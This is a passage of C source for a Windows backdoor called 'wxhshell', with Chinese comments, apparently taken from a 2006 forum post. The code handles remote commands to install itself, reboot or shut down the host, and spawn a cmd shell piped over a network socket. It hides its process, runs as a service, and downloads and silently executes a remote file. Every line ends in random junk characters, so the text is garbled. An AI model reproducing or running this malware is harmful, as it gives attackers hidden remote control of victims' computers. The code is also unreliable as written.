    break; o kYsjK5  
  }  JeA}d  
  // 安装  }oG&zw  
  case 'i': { :\[F=  
    if(Install()) + y^s 6j}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w-2]69$k  
    else JTC&_6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TCEbz8ql  
    break; ;@L#0  
    } ObCwWj^qO  
  // 卸载 38#(ruv  
  case 'r': { mf3G$=[  
    if(Uninstall()) LP~$7a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rq 7ksTo  
    else "hvw2lyp3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZFzOW  
    break; S:d` z'  
    } Q3D xjD  
  // 显示 wxhshell 所在路径 8+gn Wy  
  case 'p': { r,}Zc W+  
    char svExeFile[MAX_PATH]; Hq9(6w9w  
    strcpy(svExeFile,"\n\r"); iT%UfN/q=I  
      strcat(svExeFile,ExeFile); sxqX R6p{  
        send(wsh,svExeFile,strlen(svExeFile),0); ,LW0{(&z  
    break; -[F^~Gv|;  
    } o+na`ed  
  // 重启 Z(Vrmz2.  
  case 'b': { _RmrjDk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c"~TH.,d  
    if(Boot(REBOOT)) roKiSE`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y.nw6.`MR  
    else { V)]&UbEL|  
    closesocket(wsh); | @YN\g K;  
    ExitThread(0); 7XY C.g  
    } YJ9_cA'A  
    break; 5E@V@kw  
    } 82<L07fB  
  // 关机 @dXf_2Tv=  
  case 'd': { CtfSfSAUuu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zQ [mO  
    if(Boot(SHUTDOWN)) GA|q[<U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SbZk{lWcq  
    else { |qr[*c3$1  
    closesocket(wsh); ~`BOz P  
    ExitThread(0); 6Z"%vrH  
    } Wp'\NFe 8  
    break; D>mLSh  
    } ;f><;X~KX  
  // 获取shell *0U(nCT&m  
  case 's': { U +]ab  
    CmdShell(wsh); |Mh;k 6  
    closesocket(wsh); ]X5*e'  
    ExitThread(0); 3EFk] X  
    break; (3-G<E  
  } 'G^=>=w|Nv  
  // 退出 H)p{T@  
  case 'x': { V>nY?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %~h'#S2X(  
    CloseIt(wsh); :K&hGZ+5  
    break; P.wINo  
    } e\h:==f  
  // 离开 ka'MF;!rc  
  case 'q': { 52"/Zr}j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XBc+_=)$  
    closesocket(wsh); NlDM/  
    WSACleanup(); \)v.dQ!  
    exit(1); 8(A:XQN"h  
    break; 'Go'87+`  
        } ,&k 5Qq  
  } wOsr#t7  
  } [9L(4F20  
?>&8,p17  
  // 提示信息 @|^C h+%@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oqE -q\!H  
} (=X16}n:>  
  } -P?} qy^j(  
Z+}SM]m  
  return; +vuW 9  
} yT>T Vq/e  
;?cUF78#  
// shell模块句柄 nQ+{1 C  
int CmdShell(SOCKET sock) MT*b+&1e  
{ 48DsRy  
STARTUPINFO si; OS,$}I[`8  
ZeroMemory(&si,sizeof(si)); k >MgrtJI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H!A^ MI   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H(X~=r  
PROCESS_INFORMATION ProcessInfo; dlU=k9N-  
char cmdline[]="cmd"; UX0tI0.tg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *iR`mZb  
  return 0; ]* Hz'  
} 6nDx;x&Q  
(lm/S_U$  
// 自身启动模式 L{=z}QO  
int StartFromService(void) P~#jvm!  
{ N>z8\y  
typedef struct / [19ITZ  
{ #B?7{#.1  
  DWORD ExitStatus; &#;,P :.'  
  DWORD PebBaseAddress; 4>|5B:  
  DWORD AffinityMask; 4[#.N 3Y4*  
  DWORD BasePriority; ,^[s4 =3X?  
  ULONG UniqueProcessId; Qw ^tzP8  
  ULONG InheritedFromUniqueProcessId; SX4p(t  
}   PROCESS_BASIC_INFORMATION; =FKB)#N  
|N g[^  
PROCNTQSIP NtQueryInformationProcess; 3o?Lz7L  
"6}+|!"$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >5j/4Ly  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F,W(H@ ~x  
H^s SHj  
  HANDLE             hProcess; \uaJw\EZ  
  PROCESS_BASIC_INFORMATION pbi; lN&GfPP6  
zEGwQp<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gV7o eZ5  
  if(NULL == hInst ) return 0; q8D1MEBL`  
[brrziZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @!S$gTz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EAI[J&c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +2g3%c0}  
zPXd]jIwV  
  if (!NtQueryInformationProcess) return 0; :JS} (  
*vb)d0}P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @Q^;qMy  
  if(!hProcess) return 0; @4|/| !  
pr?/rXw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "gO5dZ\0  
B^qB6:\t  
  CloseHandle(hProcess); M{H&5 9v  
gu/Yc`S[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aJF`rLm  
if(hProcess==NULL) return 0; |WX4L7yrhK  
ob;oxJ@[c  
HMODULE hMod; pxF!<nN1,  
char procName[255]; -K !-a'J  
unsigned long cbNeeded; vuAjAeKm  
/?GBp[(0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v Zxy9Wmc  
0jmlsC>  
  CloseHandle(hProcess); ?m!FM:%  
.jKO 6f  
if(strstr(procName,"services")) return 1; // 以服务启动 1-n0"lP~4  
K?>&Mr  
  return 0; // 注册表启动 }u&JX  
} &-zI7@!  
U}7[8&k1  
// 主模块 "&%Hb's  
int StartWxhshell(LPSTR lpCmdLine) N7_Co;#(zK  
{ Xx^c?6YM  
  SOCKET wsl; S]N4o'K}q  
BOOL val=TRUE; kel {9b=i  
  int port=0; c1^3lgPv  
  struct sockaddr_in door; c"xaN  
GyCpGP|AZ  
  if(wscfg.ws_autoins) Install(); "xOeBNRjV  
-'(:Sq,4o  
port=atoi(lpCmdLine); ke0W?  
Z Kvh]  
if(port<=0) port=wscfg.ws_port; qha<.Ro  
>O _  
  WSADATA data; PjHm#a3zg%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; erqB/C  
4Bn+L,}.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IFY !3^;zO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2KEww3.{  
  door.sin_family = AF_INET; [wR8q,2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pr"flRQr#  
  door.sin_port = htons(port); PG!vn@b6  
;W].j%]L e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [OcD#~drO  
closesocket(wsl); =FnZkJ  
return 1; rXPXO=F1/  
} Pz 'Hqvd  
)B_h"5X4\y  
  if(listen(wsl,2) == INVALID_SOCKET) { *v+ fkg  
closesocket(wsl); >UMnItq(l  
return 1; To`?<]8  
} hd~rC*I  
  Wxhshell(wsl); UwU]l17~  
  WSACleanup(); Mx"tUoU6z  
brWt  
return 0; wk#QQDV3|0  
EMG*8HRI>r  
} 5*$Zfuf  
BXY'%8q _a  
// 以NT服务方式启动 bed+Ur&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BE~[%6T7  
{ *$VurqLn  
DWORD   status = 0; m##=iB|;  
  DWORD   specificError = 0xfffffff; }b`*%141  
U4gJ![>5j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =HHg:"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V{{x~Q9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vEGK{rMA  
  serviceStatus.dwWin32ExitCode     = 0; <.ky1aex7  
  serviceStatus.dwServiceSpecificExitCode = 0; Z.pw!mu"  
  serviceStatus.dwCheckPoint       = 0; 7 w,FA  
  serviceStatus.dwWaitHint       = 0; OB22P%  
I.!/R`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Vm.@qO*=  
  if (hServiceStatusHandle==0) return; "[yiNJ"kt  
`'WLGQG  
status = GetLastError(); e% 6{P  
  if (status!=NO_ERROR) |T*qAJ8c  
{ G,*s9P]1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CN(4;-so)  
    serviceStatus.dwCheckPoint       = 0; sdQv:nd'R  
    serviceStatus.dwWaitHint       = 0; Wh5O{G@Ut  
    serviceStatus.dwWin32ExitCode     = status; Z"X*FzFo  
    serviceStatus.dwServiceSpecificExitCode = specificError; J-F_XKqH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0(x@ NGb>{  
    return; KTt$Pt/.  
  } y>|XpImZ  
"b4iOp&:=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZnLk :6'  
  serviceStatus.dwCheckPoint       = 0; rJp6d :M  
  serviceStatus.dwWaitHint       = 0; q}Z T?Xk?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r:4IKuTR  
} GK?R76d  
vfJk? (  
// 处理NT服务事件,比如:启动、停止 s$x] fO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Wy*7jB  
{ 3z92Gy5cr  
switch(fdwControl) jSp&mD*xv  
{ _x 6E_i-(  
case SERVICE_CONTROL_STOP: 6xh#;+e }  
  serviceStatus.dwWin32ExitCode = 0; LoE(W|nj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cE5Zxcn  
  serviceStatus.dwCheckPoint   = 0; O&iYGREO  
  serviceStatus.dwWaitHint     = 0; )=nPM`Jn.  
  { 5'Jh2r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EZQ+HECpK  
  } Pl& `&N;  
  return; OKP_3Ns  
case SERVICE_CONTROL_PAUSE: 5|G3t`$pa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z !25xqNCd  
  break; umZ g}|C_  
case SERVICE_CONTROL_CONTINUE: I S8nvx\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U4l*;od  
  break; Tv,.  
case SERVICE_CONTROL_INTERROGATE: ^@lg5d3F  
  break; 8pMZ~W;  
}; " IkF/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <`j[;>O  
} Po11EZa$a  
\*!%YTZ~  
// 标准应用程序主函数 ^}/ E~Sg7\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o/ g+Z  
{ 6Y_O^f  
k.xv+^b9Q  
// 获取操作系统版本 =>}.W:=  
OsIsNt=GetOsVer(); GHC?Tp   
GetModuleFileName(NULL,ExeFile,MAX_PATH); #C;zS9(]B  
x$?7)F&z  
  // 从命令行安装 u4,X.3V]A  
  if(strpbrk(lpCmdLine,"iI")) Install(); D7WI(j\  
{&}/p-S  
  // 下载执行文件 `Ivw`}L  
if(wscfg.ws_downexe) { "K+N f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a3dzok  
  WinExec(wscfg.ws_filenam,SW_HIDE); r;on0wm&B  
} xe gL!  
2u*h*/  
if(!OsIsNt) { O})u'  
// 如果时win9x,隐藏进程并且设置为注册表启动 OT}Yr9h4  
HideProc(); r]JC~{  
StartWxhshell(lpCmdLine); a j@C0  
} AJ?}Hel[0  
else ^0x.'G?  
  if(StartFromService()) F;Q_*0mIQ  
  // 以服务方式启动 le^_6| ek  
  StartServiceCtrlDispatcher(DispatchTable); b y|?g8  
else aFr!PQp4{  
  // 普通方式启动 eC^0I78x  
  StartWxhshell(lpCmdLine); 9oj e`Ay  
A eGG  
return 0; I`"-$99|t1  
}
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只看该作者 1 发表于: 2006-10-10
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